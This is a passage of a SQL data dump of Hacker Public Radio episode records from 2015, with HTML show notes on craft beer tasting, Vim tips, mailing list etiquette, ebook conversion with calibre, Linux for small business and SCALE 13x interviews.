Smoked Imperial Stout.  It weighs in at 9.0%abv, so you get a smaller that average portion in an 11oz brandy snifter.  While stouts are usually nearly as bitter as IPAs, I dont notice it as much when coupled with the beers bold flavor.  Unlike IPAs, stouts tend to have enough malty richness to add balance.  In the case of this beer, the barley is smoked over hazelnuts before fermentation, giving this beer its flavor and its name.  Ive want to try a smoked stout since I heard Tracy Hotlz speak of them back on the old Podbrewers show.  I dont think Id want to be restricted to an exclusive diet of smoked beers, but this was a welcome change from the ordinary, and a great compliment to my beefy repast.  Truly an excellent brew.\r\n</p>\r\n<p>\r\nNow, on to the contents of my three growlers.  I wish I could give you first impressions, but come on, I just couldnt wait for you folks.  It was hard enough to wait for the containers to chill overnight in the fridge.  \r\n</p>\r\n<p>\r\nThe first beer is even more unique than the smoked stout. Donut Whole Love Affair #3 Pineapple Wit is made with actual pineapple donuts (from River Citys Facebook page  <a href=\"https://www.facebook.com/RiverCityBreweryCo/photos/a.555320064516059.1073741826.194563133925089/796375363743860/?type=1\">https://www.facebook.com/RiverCityBreweryCo/photos/a.555320064516059.1073741826.194563133925089/796375363743860/?type=1</a> ).  The first taste you encounter is tart pineapple on the tip of your tongue joined by powdered sugar as the beer washes towards the back of you mouth.  The sugar taste tends to stay with you between sips, but the whole effect is subtle and wonderful, not fruit juicy like a shandy.  The wheat beer hovers in the background, not enough to obscure the donut, but blending the pastry taste into the breadyness of the beer.  I didnt know what to expect of this beer when I ordered it, but I am most pleased I did.  5.65abv 11 IBUs 16oz Weizen\r\n</p>\r\n<p>\r\nNext, we have Pryze Fyter Red Rye.  By far, this is the smoothest and richest rye beer Ive ever tasted.  Im a big fan of rye beers, but they tend to be a little more harsh than wheat beers, and are of course more bitter.  Like rye whiskey, rye beer is an acquired taste for many people, and best suited for those with a palette that craves bold flavors.  According to the menu, Carmel malts, a copious amount of rye.  Spicy, floral, earthy, and ready to smack you in the kisser.  5.6%abv 55 IBUs 16oz Nonic\r\n</p>\r\n<p>\r\nFinally, we have the Buffeit Bourbon Baltic Porter.  Of the two bourbon barrel aged porters on the menu, my barman described this slightly sweeter.  While Ive never been a fan of the woody tasting bourbons of Tennessee, barrel aging lends a roundness to beers, and compliments the roasted malts and the hops.  This is the strongest of the beers I brought home, at 7.2%abv, 47IBUs, and would be served in a 13z Tulip glass.\r\n</p>\r\n<p>\r\nI made the mistake of not taking a beer menu home with me for documentation, as a list of currently available beers no longer appears on line.  Chris Arnold took the time to scan a copy and send it to my e-mail.  Thanks Chris.  I dont think River City Brewing Company will mind me attaching the menu to my notes for you listeners to salivate over.  There are two in particular Im sorry to have missed, the Stinky Pete Plum Saison (they always seems to be out of the raisin and plum beers) and the Emerald City Stout (a man has only so many growlers).\r\n</p>\r\n<p>\r\nThat brings me to my next topic.  Among the many interviews I want to do from Linux Fest next week, Im also going to visit the Free State Brewery, only a couple blocks away.  I called ahead, and they wont fill other pubs growlers (thats going to cost you some points Free State).  On the upside, Ill have a couple new growlers to add to my collection.\r\n</p>\r\n<p>\r\nMenu: <a href=\"https://hackerpublicradio.org/eps/hpr1730.pdf\">https://hackerpublicradio.org/eps/hpr1730.pdf</a>\r\n</p>',131,14,0,'CC-BY-SA','5150 Shades of Beer,beer,growler,stout,River City Brewing Company',0,0,1),
(1732,'2015-03-24','Renovating another Public-Domain Counterpoint Textbook',2014,'A follow-up to ep. 1512, I reflect on what I\'ve learned digitizing two Counterpoint textbooks.','<p>\r\nI mistakenly referred to episode 1516 while I was speaking. I meant to say 1512. The two musical bumpers I used in the show are by J.S. Bach, examples 90 and 91 in the textbook \"Applied Counterpoint,\" by Percy Goetschius. These are my own MIDI renditions so they have no copyright burden upon them. \r\n</p>\r\n<p>\r\nMy html-to-epub conversion command (requires calibre): \r\n</p>\r\n<pre>\r\nebook-convert foobar.html foobar.epub \\\r\n--output-profile=tablet \\\r\n--disable-font-rescaling \\\r\n--smarten-punctuation \\\r\n--change-justification=left \\\r\n--preserve-cover-aspect-ratio \\\r\n--cover=./pathto/cover.jpg \\\r\n--use-auto-toc \\\r\n--level1-toc \"//h:h1\" \\\r\n--level2-toc \"//h:h3\"\r\n</pre>\r\n\r\n<h3>Links</h3>\r\n\r\n<ul>\r\n<li>hpr1512 :: Adopting and Renovating a Public-Domain Counterpoint Textbook: <a href=\"https://hackerpublicradio.org/eps.php?id=1512\">https://hackerpublicradio.org/eps.php?id=1512</a>\r\n</li>\r\n<li>The counterpoint page on my website, with links to all versions of the counterpoint textbooks I mentioned: <a href=\"https://jonathankulp.org/gratis.html\">https://jonathankulp.org/gratis.html</a>\r\n</li>\r\n<li>My handy E-Reader App Compatibility Chart: <a href=\"https://jonathankulp.org/ereader_compatibility_tables.html\">https://jonathankulp.org/ereader_compatibility_tables.html</a>\r\n</li>\r\n<li>Blog post \"Why Renovate an Old Counterpoint Book?\":  <a href=\"https://jonathankulp.org/goetschius_rationale.html\">https://jonathankulp.org/goetschius_rationale.html</a>\r\n</li>\r\n<li>Calibre: <a href=\"https://calibre-ebook.com/\">https://calibre-ebook.com/</a>\r\n</li>\r\n<li>Manual for Calibre\'s Command Line Interface: <a href=\"https://manual.calibre-ebook.com/cli/cli-index.html\">https://manual.calibre-ebook.com/cli/cli-index.html</a>\r\n</li>\r\n<li>Monocle embedded eBook reader project: <a href=\"https://monocle.inventivelabs.com.au/\">https://monocle.inventivelabs.com.au/</a>\r\n<p></p>\r\n</li>\r\n</ul>\r\n',238,0,0,'CC-BY-SA','public-domain, textbooks, music, counterpoint, Lilypond, html, scripting, calibre, ebooks',0,0,1),
(1734,'2015-03-26','Vim Hints 003',1562,'Hints and Tips for Vim users - part 3','<h2 id=\"moving-around\">Moving Around</h2>\r\n<p>In this episode I want to look at how you move around the file you are editing in Vim. I also want to add some more elements to the configuration file we started building in the <a href=\"https://hackerpublicradio.org/eps.php?id=1724\" title=\"Vim Hints 002\">last episode</a>.</p>\r\n<h2 id=\"full-notes\">Full Notes</h2>\r\n<p>Since the notes explaining this subject are long (the size limit is 4000 characters), they have been placed here: <a href=\"https://hackerpublicradio.org/eps/hpr1734_full_shownotes.html\">https://hackerpublicradio.org/eps/hpr1734_full_shownotes.html</a></p>\r\n<p>I usually create my notes with <em>Markdown</em> and <em>pandoc</em>. As an experiment this time I have used a <em>pandoc</em> template which uses the same CSS that provides the style for the main HPR pages. I hope it makes these notes look better than the very bare HTML I have produced in the past.</p>\r\n<h2 id=\"links\">Links</h2>\r\n<ol type=\"1\">\r\n<li>Vim Hints Episode 1 <a href=\"https://hackerpublicradio.org/eps.php?id=1714\">https://hackerpublicradio.org/eps.php?id=1714</a></li>\r\n<li>Vim Hints Episode 2 <a href=\"https://hackerpublicradio.org/eps.php?id=1724\">https://hackerpublicradio.org/eps.php?id=1724</a></li>\r\n</ol>\r\n',225,82,1,'CC-BY-SA','vim,editor,movement,configuration',0,0,1),
(1740,'2015-04-03','Mailing List Etiquette',2744,'Some advice about best practices on mailing lists','<h1 id=\"mailing-list-etiquette\">Mailing List Etiquette</h1>\r\n<h2 id=\"overview\">Overview</h2>\r\n<p>In February 2015 I created a script to add a section to the monthly Community News show notes. The added section summarises the discussions on the HPR mailing list over the previous month. My script processes the messages archived on the <a href=\"https://dir.gmane.org/gmane.network.syndication.podcast.hacker-public-radio\" title=\"Gmane\">Gmane</a> site and reports on the <em><a href=\"https://en.wikipedia.org/wiki/Conversation_threading\" title=\"threads\">threads</a></em> it finds there.</p>\r\n<p>In writing this script I noticed the number of times people made errors in replying to existing message threads and initiating new threads on the list. I thought it might be helpful if I explained some of the <em><a href=\"https://www.visualthesaurus.com/cm/wc/dos-and-donts-or-dos-and-donts/\" title=\"do&#39;s and don&#39;ts\">do\'s and don\'ts</a></em> of mailing list use to help avoid these errors.</p>\r\n<h2 id=\"full-notes\">Full Notes</h2>\r\n<p>Since the notes explaining this subject are long (the size limit is 4000 characters), they have been placed here: <a href=\"https://hackerpublicradio.org/eps/hpr1740_full_shownotes.html\">https://hackerpublicradio.org/eps/hpr1740_full_shownotes.html</a></p>\r\n<h2 id=\"experimental-epub-notes\">Experimental EPUB Notes</h2>\r\n<p>For this show I have tried generating an EPUB version of the full notes. This can be found here: <a href=\"https://hackerpublicradio.org/eps/hpr1740_full_shownotes.epub\">https://hackerpublicradio.org/eps/hpr1740_full_shownotes.epub</a>. Comments on this idea are welcome.</p>\r\n<h2 id=\"links\">Links</h2>\r\n<ol type=\"1\">\r\n<li>Gmane archive of the Hacker Public Radio mailing list: <a href=\"https://dir.gmane.org/gmane.network.syndication.podcast.hacker-public-radio\">https://dir.gmane.org/gmane.network.syndication.podcast.hacker-public-radio</a></li>\r\n<li>Wikipedia article on message groupings referred to as <em>conversations</em>, <em>topic threads</em>, or <em>threads</em>: <a href=\"https://en.wikipedia.org/wiki/Conversation_threading\">https://en.wikipedia.org/wiki/Conversation_threading</a></li>\r\n<li>A brief note on how to punctuate the phrase &quot;<em>do\'s and don\'ts</em>&quot;: <a href=\"https://www.visualthesaurus.com/cm/wc/dos-and-donts-or-dos-and-donts/\">https://www.visualthesaurus.com/cm/wc/dos-and-donts-or-dos-and-donts/</a></li>\r\n<li>Wikipedia article on <em>Usenet</em>: <a href=\"https://en.wikipedia.org/wiki/Usenet\">https://en.wikipedia.org/wiki/Usenet</a></li>\r\n<li>Thunderbird add-on <em>ThreadVis</em>: <a href=\"https://addons.mozilla.org/en-US/thunderbird/addon/threadvis/\">https://addons.mozilla.org/en-US/thunderbird/addon/threadvis/</a></li>\r\n<li>Wikipedia article on the RFC document: <a href=\"https://en.wikipedia.org/wiki/Request_for_Comments\">https://en.wikipedia.org/wiki/Request_for_Comments</a></li>\r\n<li>Text of RFC5322: <a href=\"https://www.rfc-editor.org/rfc/rfc5322.txt\">https://www.rfc-editor.org/rfc/rfc5322.txt</a></li>\r\n<li>Wikipedia article on Email: <a href=\"https://en.wikipedia.org/wiki/Email\">https://en.wikipedia.org/wiki/Email</a></li>\r\n<li>Wikipedia article on MIME used in email: <a href=\"https://en.wikipedia.org/wiki/MIME\">https://en.wikipedia.org/wiki/MIME</a></li>\r\n<li>Description of a threading algorithm from Jamie Zawinski: <a href=\"https://www.jwz.org/doc/threading.html\">https://www.jwz.org/doc/threading.html</a></li>\r\n<li>Text of RFC1153: <a href=\"https://www.faqs.org/rfcs/rfc1153.html\">https://www.faqs.org/rfcs/rfc1153.html</a></li>\r\n<li>Wikipedia article on posting style: <a href=\"https://en.wikipedia.org/wiki/Posting_style\">https://en.wikipedia.org/wiki/Posting_style</a></li>\r\n<li>A recent <strong>large</strong> thread on the <em>Mailman-Users</em> mailing list discussing the subject of replying to lists: <a href=\"https://www.mail-archive.com/mailman-users%40python.org/msg66089.html\">https://www.mail-archive.com/mailman-users%40python.org/msg66089.html</a></li>\r\n</ol>',225,0,1,'CC-BY-SA','email,mailing list,thread,conversation,mail client',0,0,1),
(1733,'2015-03-25','LinuxLugCast Episode-003 Outtakes',4261,'Preshow &amp; aftershow banter that does not get published through our normal feeds.','<p>\r\nSome good content that we do not publish.\r\n</p>\r\n<p>\r\n<a href=\"https://linuxlugcast.com/?p=162\">https://linuxlugcast.com/?p=162</a>\r\n</p>',265,0,1,'CC-BY-SA','linuxlugcast,outtakes',0,0,1),
(1736,'2015-03-30','How I run my small business using Linux',1139,'How I use Linux for my Business','<h3>Hardware</h3>\r\n\r\n<ul>\r\n<li>System76 Galago Ultrapro - Ubuntu 14.04\r\n</li>\r\n<li>Synology DiskStation DS213j\r\n</li>\r\n<li>LG G2\r\n</li>\r\n</ul>\r\n\r\n<h3>Proprietary Applications</h3>\r\n\r\n<ul>\r\n<li>Synology Cloud Station\r\n</li>\r\n<li>Wireframe Sketcher\r\n</li>\r\n</ul>\r\n\r\n<h3>Free Applications</h3>\r\n\r\n<ul>\r\n<li>pandoc\r\n</li>\r\n<li>discount\r\n-firefox\r\n</li>\r\n<li>chromium\r\n</li>\r\n<li>gvim\r\n</li>\r\n<li>libreoffice\r\n</li>\r\n<li>planner\r\n</li>\r\n<li>hamster\r\n</li>\r\n<li>todo.txt\r\n</li>\r\n<li>gnucash\r\n</li>\r\n<li>virtualbox\r\n</li>\r\n<li>thunderbird\r\n<ul>\r\n<li>enigmail</li>\r\n<li>stationary</li>\r\n</ul>\r\n</li>\r\n<li>california\r\n</li>\r\n<li>ranger\r\n</li>\r\n<li>L2TP/IPSEC vpn client\r\n</li>\r\n<li>meld\r\n</li>\r\n<li>deja-dup -> Box\r\n</li>\r\n<li>Systemback\r\n</li>\r\n<li>rsync\r\n</li>\r\n</ul>\r\n\r\n<h3>Links</h3>\r\n\r\n<ul>\r\n<li><a href=\"https://synology.com\">https://synology.com</a>\r\n</li>\r\n<li><a href=\"https://wireframesketcher.com\">https://wireframesketcher.com</a>\r\n</li>\r\n<li><a href=\"https://www.system76.com\">https://www.system76.com</a>\r\n</li>\r\n<li><a href=\"https://todotxt.com/\">https://todotxt.com/</a>\r\n</li>\r\n<li><a href=\"https://www.pandoc.org\">https://www.pandoc.org</a>\r\n</li>\r\n<li><a href=\"https://daringfireball.net/projects/markdown/\">https://daringfireball.net/projects/markdown/</a>\r\n</li>\r\n<li><a href=\"https://launchpad.net/l2tp-ipsec-vpn\">https://launchpad.net/l2tp-ipsec-vpn</a>\r\n<p></p>\r\n</li>\r\n</ul>',300,0,1,'CC-BY-SA','linux, small business, open source',0,0,1),
(1743,'2015-04-08','Scale 13x Part 1 of 6',4079,'Lord Drachenblut at Scale 13x. Today Docker, Fedora Activity Day, Matthew Miller Fedora Project Lead','<h2>Introduction</h2>\r\n<p>\r\n<img alt=\"headshot\" src=\"https://2dbdd5116ffa30a49aa8-c03f075f8191fb4e60e74b907071aee8.ssl.cf1.rackcdn.com/2539326_1417243198.5282_app.png\" height=\"308\" /><br />\r\n</p>\r\n<p>Lord Drachenblut introduces himself</p>\r\n<p>\r\n<br />\r\nWebsite: <a href=\"https://www.gofundme.com/gysc0o\" target=\"_blank\">https://www.gofundme.com/gysc0o</a>\r\n</p>\r\n<blockquote cite=\"https://www.gofundme.com/gysc0o\">\r\nGreetings everyone. I\'m Matthew ”Lord Drachenblut\" Williams. I\'m currently working on gathering the fund to attend the Southern California Linux Expo aka SCALE. As many of you already know I have spent the last year struggling against esophageal cancer. I am nearing a point which I can start traveling and attending conferences again. My goal is to raise the funds so that in February of 2015 I can attend Scale. I am also working on a talk that I hope to give at SCALE. My sincerest thanks to the community that has been there for me during my recovery and to those that will help me in this endeavor. Should I raise more funds than needed to attend SCALE my goal will be to submit my talk to other conferences and to give my talk at those as well.\r\n</blockquote>\r\n\r\n<h2>Docker</h2>\r\n<p>\r\n<img alt=\"headshot\" src=\"https://pbs.twimg.com/profile_images/65895691/avatar_400x400.jpg\" height=\"308\" /><br />\r\n</p>\r\n<p>Listen to the interview with Jérôme Petazzoni.</p>\r\n<p>\r\n<img src=\"https://d3oypxn00j2a10.cloudfront.net/0.16.0/img/nav/docker-logo-loggedout.png\" alt=\"logo\" />\r\n<br />\r\nWebsite: <a href=\"https://www.docker.com/\" target=\"_blank\">https://www.docker.com/</a><br />\r\nLinkedIn: <a href=\"https://www.linkedin.com/profile/view?id=18390427\" target=\"_blank\">https://www.linkedin.com/profile/view?id=18390427</a><br />\r\nTwitter: <a href=\"https://twitter.com/jpetazzo\" target=\"_blank\">https://twitter.com/jpetazzo</a>\r\n</p>\r\n<blockquote cite=\"https://www.docker.com/whatisdocker/\">\r\nDocker is an open platform for developers and sysadmins to build, ship, and run distributed applications. Consisting of Docker Engine, a portable, lightweight runtime and packaging tool, and Docker Hub, a cloud service for sharing applications and automating workflows, Docker enables apps to be quickly assembled from components and eliminates the friction between development, QA, and production environments. As a result, IT can ship faster and run the same app, unchanged, on laptops, data center VMs, and any cloud.\r\n</blockquote>\r\n\r\n<h2>Fedora Activity Day</h2>\r\n<blockquote cite=\"https://fedoraproject.org/wiki/Fedora_Activity_Day_-_FAD\">\r\nThe Fedora Activity Day (FAD) is a regional event (either one-day or a multi-day) that allows Fedora contributors to gather together in order to work on specific tasks related to the Fedora Project.\r\n</blockquote>\r\n\r\n<h2>Fedora interview with Matthew Miller</h2>\r\n<p>\r\n<img alt=\"headshot\" src=\"https://media.licdn.com/mpr/mpr/shrink_200_200/p/7/000/1aa/217/0c09cd7.jpg\" height=\"308\" /><br />\r\n</p>\r\n<p>\r\n<img src=\"https://getfedora.org/static/images/fedora-logotext.png\" alt=\"logo\" />\r\n<br />\r\nWebsite: <a href=\"https://getfedora.org/en/\" target=\"_blank\">https://getfedora.org/en/</a>\r\n</p>\r\n<blockquote cite=\"https://fedoraproject.org/wiki/Overview\">\r\n<p>The <em>Fedora Project</em> is a partnership of free software community members from around the globe.  The Fedora Project builds open source software communities and produces a Linux distribution called \"Fedora.\" The Fedora Project\'s mission is to lead the advancement of free and open source software and content as a collaborative community. \r\n</blockquote>\r\n\r\n',24,0,1,'CC-BY-SA','scale 13x,Docker,Fedora,Matthew Miller',0,0,1),
(1744,'2015-04-09','Scale 13x Part 2 of 6',3770,' Postgres SQL in Space, Bryan Lunduke, and OpenSuSe Build Service','<h2>Josh Berkus Postgres SQL in Space</h2>\r\n<p>\r\n<img alt=\"headshot\" src=\"https://pgexperts.com/media/img/associates/josh_berkus-thumb.png\"/><br />\r\n</p>\r\n<p>\r\n<img src=\"https://www.postgresql.org/files/community/propaganda/100x58_1.gif\" alt=\"logo\" />\r\n<br />\r\nWebsite: <a href=\"https://www.postgresql.org/\" target=\"_blank\">https://www.postgresql.org/</a><br />\r\n</p>\r\n<blockquote cite=\"https://pgexperts.com/team/josh_berkus/\">\r\nJosh Berkus has been a member of the PostgreSQL Core Team since 2003 and has been working as a database consultant since 1995. Josh\'s work experience includes 8 years of independant consulting on database applications, primarily building applications for the legal and HR industries. He was also head of Sun Microsystem\'s PosgtreSQL support staff for 2 years and helped launch BI startup Greenplum.\r\n</blockquote>\r\n\r\n<h2>Bryan Lunduke</h2>\r\n<p>\r\n<img alt=\"headshot\" src=\"https://media.licdn.com/mpr/mpr/shrink_200_200/p/2/000/0e5/11e/2e85fd4.jpg\"/><br />\r\n</p>\r\n<p>\r\n<img src=\"https://lunduke.com/wp-content/themes/LDThreePointOh/bigbanner.jpg\" alt=\"logo\" />\r\n<br />\r\nWebsite: <a href=\"https://lunduke.com/\" target=\"_blank\">https://lunduke.com/</a><br />\r\nLinkedIn: <a href=\"https://www.linkedin.com/in/bryanlunduke\" target=\"_blank\">https://www.linkedin.com/in/bryanlunduke</a><br />\r\nTwitter: <a href=\"https://twitter.com/bryanlunduke\" target=\"_blank\">https://twitter.com/bryanlunduke</a>\r\n</p>\r\n<blockquote cite=\"\">\r\n</blockquote>\r\n\r\n<h2>OpenSuSe Build Service with Markus Feilner and Lance Albertson</h2>\r\n<p>\r\n<img src=\"https://www.jefferyfernandez.id.au/wp-content/uploads/2008/03/logo-buildservice.png\" alt=\"logo\" />\r\n</p>\r\n<h2>Markus Feilne</h2>\r\n<p>\r\n<img alt=\"headshot\" src=\"https://media.licdn.com/mpr/mpr/shrink_200_200/AAEAAQAAAAAAAAH2AAAAJDY5Nzg0MTQ4LTlmMjItNDVmYy05OWM5LWExM2ViNjlkYjljYQ.jpg\"/><br />\r\n</p>\r\n<p>\r\nWebsite: <a href=\"https://plus.google.com/+MarkusFeilner/about\" target=\"_blank\">https://plus.google.com/+MarkusFeilner/about</a><br />\r\nLinkedIn: <a href=\"https://www.linkedin.com/in/markusfeilner\" target=\"_blank\">https://www.linkedin.com/in/markusfeilner</a><br />\r\n</p>\r\n<blockquote cite=\"\">\r\nOpen mind. Vigil. Proud citizen and honorable diplomat of the Conch republic. Minister of the Universal Life Church. Jedi knight. Owner of Lunar property. Linux and open source human, occasional and highly provocative Apple troll (#iTroll)\r\n</blockquote>\r\n<h2>Lance Albertson</h2>\r\n<p>\r\n<img alt=\"headshot\" src=\"https://osuosl.org/sites/default/files/Lancecropped%2012%3A15.jpg\"/><br />\r\n</p>\r\n\r\n<p>\r\nWebsite: <a href=\"https://osuosl.org/about/people/lance-albertson\" target=\"_blank\">https://osuosl.org/about/people/lance-albertson</a><br />\r\n</p>\r\n<blockquote cite=\"https://osuosl.org/about/people/lance-albertson\">\r\nDirector | Cat Herder<br />\r\nLance became OSL director in early 2013. He has managed all of the hosting activities that the OSL provides for more than 160 high-profile open source projects since joining the lab as lead systems administrator and architect in 2007. Lance’s involvement in the open source community began in 2003, when he became a developer and package maintainer with Gentoo Linux. Prior to joining the OSL, Lance was a UNIX Administrator for the Enterprise Server Technologies group at Kansas State University. In his free time he helps organize Beaver BarCamp and plays trumpet in local jazz group The Infallible Collective.\r\n<br />\r\nLance can be reached at lance-at-osuosl-dot-org\r\n</blockquote>\r\n\r\n\r\n',24,0,1,'CC-BY-SA','scale 13x,postgres sql,Bryan Lunduke,OpenSuSe',0,0,1),
(1746,'2015-04-13','Scale 13x Part 3 of 6',3200,'Eight interviews from Scale 13x','<ul>\r\n<li>lpi: <a href=\"https://www.lpi-na.org/get-certified-in-los-angeles-join-us-at-scale-13x/\">https://www.lpi-na.org/get-certified-in-los-angeles-join-us-at-scale-13x/</a>\r\n</li>\r\n<li>one course source: <a href=\"https://www.socallinuxexpo.org/scale/13x/sponsor/one-course-source\">https://www.socallinuxexpo.org/scale/13x/sponsor/one-course-source</a>\r\n</li>\r\n<li>elementary os: <a href=\"https://www.socallinuxexpo.org/scale/13x/sponsor/elementaryos\">https://www.socallinuxexpo.org/scale/13x/sponsor/elementaryos</a>\r\n</li>\r\n<li>open source robotic tools: <a href=\"https://www.socallinuxexpo.org/scale9x-media/scalemedia/scale/scale9x-media/simple_cfp/presentations/13_30-Eugene-John-Classroom-reflection.pdf\">https://www.socallinuxexpo.org/scale9x-media/scalemedia/scale/scale9x-media/simple_cfp/presentations/13_30-Eugene-John-Classroom-reflection.pdf</a>\r\n</li>\r\n<li>syslogng: <a href=\"https://www.socallinuxexpo.org/scale/13x/presentations/syslog-ng-log-collecting-log-processing-and-information-extraction\">https://www.socallinuxexpo.org/scale/13x/presentations/syslog-ng-log-collecting-log-processing-and-information-extraction</a>\r\n</li>\r\n<li>openx: <a href=\"https://www.socallinuxexpo.org/scale/13x/sponsor/openx\">https://www.socallinuxexpo.org/scale/13x/sponsor/openx</a>\r\n</li>\r\n<li>christopher think penguin: <a href=\"https://www.socallinuxexpo.org/scale/13x/sponsor/think-penguin\">https://www.socallinuxexpo.org/scale/13x/sponsor/think-penguin</a>\r\n</li>\r\n<li>kodi: <a href=\"https://www.socallinuxexpo.org/scale/13x/sponsor/kodi\">https://www.socallinuxexpo.org/scale/13x/sponsor/kodi</a>\r\n</li>\r\n</ul>',24,0,1,'CC-BY-SA','scale 13x,lpi,one course source,elementary OS,opensource robotics,syslogng,think penguin,kodi',0,0,1),
(1747,'2015-04-14','Scale 13x Part 4 of 6',3150,'Five interviews from Scale x13','<ul>\r\n<li>SoCal Perl Mongers: <a href=\"https://www.socallinuxexpo.org/scale7x/dotorg/socal-perl-mongers.html\">https://www.socallinuxexpo.org/scale7x/dotorg/socal-perl-mongers.html</a>\r\n</li>\r\n<li>Building Storage as a Service with OpenStack Cloud: <a href=\"https://www.socallinuxexpo.org/scale11x/presentations/building-storage-service-openstack-cloud.html\">https://www.socallinuxexpo.org/scale11x/presentations/building-storage-service-openstack-cloud.html</a>\r\n</li>\r\n<li>Girls in Tech LA: <a href=\"https://www.socallinuxexpo.org/scale/13x/sponsor/girls-tech-la-1\">https://www.socallinuxexpo.org/scale/13x/sponsor/girls-tech-la-1</a>\r\n</li>\r\n<li>Snowdrift.coop: <a href=\"https://www.socallinuxexpo.org/scale/13x/sponsor/snowdriftcoop\">https://www.socallinuxexpo.org/scale/13x/sponsor/snowdriftcoop</a> \r\n</li>\r\n<li>SaltStack: <a href=\"https://www.socallinuxexpo.org/scale/13x/sponsor/saltstack\">https://www.socallinuxexpo.org/scale/13x/sponsor/saltstack</a>\r\n</li>\r\n</ul>',24,0,1,'CC-BY-SA','scale 13x,perl,Open stack,Girls in tech LA,snowdrift.coop,SaltStack',0,0,1),
(1748,'2015-04-15','Scale 13x Part 5 of 6',4106,'Four interviews from Scalex13','<ul>\r\n<li>Cecil Watson project lead LinHES: <a href=\"https://www.socallinuxexpo.org/scale/13x/sponsor/linhes-1\">https://www.socallinuxexpo.org/scale/13x/sponsor/linhes-1</a>\r\n</li>\r\n<li>warthog9 and his k9 homebrew robot: \r\n</li>\r\n<li>Michael Hall (@mhall119). Ubuntu Community Manager at Canonical: <a href=\"https://www.socallinuxexpo.org/scale11x/sponsor/canonical.html\">https://www.socallinuxexpo.org/scale11x/sponsor/canonical.html</a>\r\n</li>\r\n<li>brian Proffitt ovirt project: <a href=\"https://www.socallinuxexpo.org/tags/ovirt\">https://www.socallinuxexpo.org/tags/ovirt</a>\r\n</li>\r\n</ul>',24,0,1,'CC-BY-SA','scale 13x,LinHES,robots,Michael Hall,Ubuntu,ovirt project',0,0,1),
(1749,'2015-04-16','Scale 13x Part 6 of 6',1425,'Justin King browser based emulated computer','<p>\r\nI am 13 years old and live in Santa Barbara. I have participated in the Open Source community for several years. My dad has been on the SCALE leadership team for a long time, and he introduced me to programming. My favorite programming languages are HTML and Javascript with Enyo because I like creating websites and webOS apps. I also program in Shell and some Python, and like making short animations using Blender. I have recently made the world\'s first emulator for the WITCH, the first currently working fixed-point decimal computer. I recently earned my Technician Amateur Radio license and enjoy attending radio club meetings. Besides geeking, I like to swim, act, and do fun events with the Boy Scouts.\r\n</p>',24,0,1,'CC-BY-SA','scale 13x,young geeks,programming,amateur radio',0,0,1),
(1737,'2015-03-31','Five Steps to Vim',1339,'Frank Bell discusses how he learned to stop worrying and love the vim','<p>\r\nThe vim editor is based on the venerable vi editor, which dates from the very\r\nearly days of Unix.  Many persons find it intimidating for the absence of a\r\nmenu bar, a terse command set that is very much its own, and its \"modal\"\r\ndesign.\r\n</p>\r\n<p>\r\nNevertheless, under its plain surface is a powerful and versatile tool.  Frank\r\nBell describes his five steps to learning to use and love vim.\r\n</p>\r\n<ol>\r\n<li>Use a .vimrc file.</li>\r\n<li>Train yourself to change modes.</li>\r\n<li>Learn and use a few basic commands.  These should be enough to get you\r\ngoing:  x, dd, dw (to delete text); cw (change a work); yy (\"yank\" or copy a\r\nline); p and P (to paste text); u (undo); w (\"write\") or save text; q (quit vim).</li>\r\n<li>Don\'t force yourself to move the cursor with the h-j-k-l keys if that doesn\'t feel natural.\r\nUse the arrow keys.</li>\r\n<li>Use vim to write stuff.</li>\r\n</ol>\r\n\r\n<h3>Links:</h3>\r\n<ul>\r\n<li>Linux Voice vim tutorial: <a href=\"https://www.linuxvoice.com/download-linux-voice-issue-1-with-audio/\">https://www.linuxvoice.com/download-linux-voice-issue-1-with-audio/</a></li>\r\n<li>Linux Voice vim video: <a href=\"https://www.linuxvoice.com/learn-to-love-vim/\">https://www.linuxvoice.com/learn-to-love-vim/</a> \r\n</li>\r\n<li>\r\nvim homepage:  <a href=\"https://www.vim.org/index.php\">https://www.vim.org/index.php</a> \r\n</li>\r\n<li>\r\nvim spellcheck:  <a href=\"https://vimdoc.sourceforge.net/htmldoc/spell.html\">https://vimdoc.sourceforge.net/htmldoc/spell.html</a>\r\n</li>\r\n<li>\r\nDave Morriss\'s vim hints HPR series:  <a href=\"https://hackerpublicradio.org/series.php?id=82\">https://hackerpublicradio.org/series.php?id=82</a>\r\n</li>\r\n</ul>\r\n',195,82,0,'CC-BY-SA','vim,text editor',0,0,1),
(1742,'2015-04-07','How to Get Yourself On an Open Source Podcast - Presentation for Kansas Linux Fest, 22 March 2015',1786,'Re-recording of a presentation for KLF that went unrecorded','<p>\r\nHowdy folks, this is 5150 for Hacker Public Radio.  What you are about to hear is a presentation titled \"How to Get Yourself on an Open Source Podcast\" that I delivered at Kansas Linux Fest on 22 March 2015.  Since it was not recorded (I was told the SD card was full), and there has been interest expressed by my fellow podcasters, I thought it might be worth re-recording.  I am afraid Mike Dupont is not satisfied with any of the video from KLF 2015, this may be the only talk from that event you get to hear. However, show notes are extensive, <a href=\"https://lanyrd.com/2015/klf15/schedule/\">https://lanyrd.com/2015/klf15/schedule/</a>   All I can tell you is, three out of the four audience members seemed to enjoy my presentation.  I shall deliver the rest of this podcast as if you gentile listeners were my live audience.\r\n</p>\r\n<p>\r\nA. Howdy folks, my name is Don Grier. I\'m an IT consultant and farmer from South Central Kansas. I am also a podcaster.  You might recognize my voice from such podcasts as Hacker Public Radio, the Kernel Panic Oggcast, or Linux LUG Cast, where I use the handle, FiftyOneFifty.\r\n</p>\r\n<p>\r\nI. When fellow Hacker Public Radio host Mike Dupont told me KLF would be a reality, I struggled to find a topic that I knew well enough to give a talk about.  It was almost in jest that I said I could talk about \"How to Get Yourself on an Open Source Podcast\".  Actually, since that was as far as my proposal went, I was shocked and honored to find myself on the same roster with so many other speakers with impressive credentials and technical topics.\r\n</p>\r\n<p>\r\nII. This afternoon, I hope not only to chronicle my personal history with Linux and open source related podcasts, but to show you why I believe podcasting can be as an important part of giving back to the community as contributing code, or documentation, or cash.  Linux podcasts bind the community by providing education, both as basic as Linux Reality or as specific as GNU World Order.  Podcasts announce new innovations, and tell us of Free and Open Source software adoption and opposition in corporations and governments.  Podcasts herald community events like this one, and provide a little humor at the end of a long day.\r\n</p>\r\n<p>\r\nB. Some of you may wonder why I\'m using old school technology to organize my notes at a high tech conference. At this point, 5150 holds up several stapled sheets of paper in large print.  The plain and simple truth is that I can\'t read my phone or tablet with my glasses on; and I\'m already using bifocals.  It just seems every time I get new glasses, the lower lenses work for about two weeks, then I have to take then off to see the phone. But this last time I figured I\'d outsmart my the system and just order a single focus lenses.  I was still congratulating myself on my thriftiness when I put my new glasses on, sat down at the computer, and realized I couldn\'t 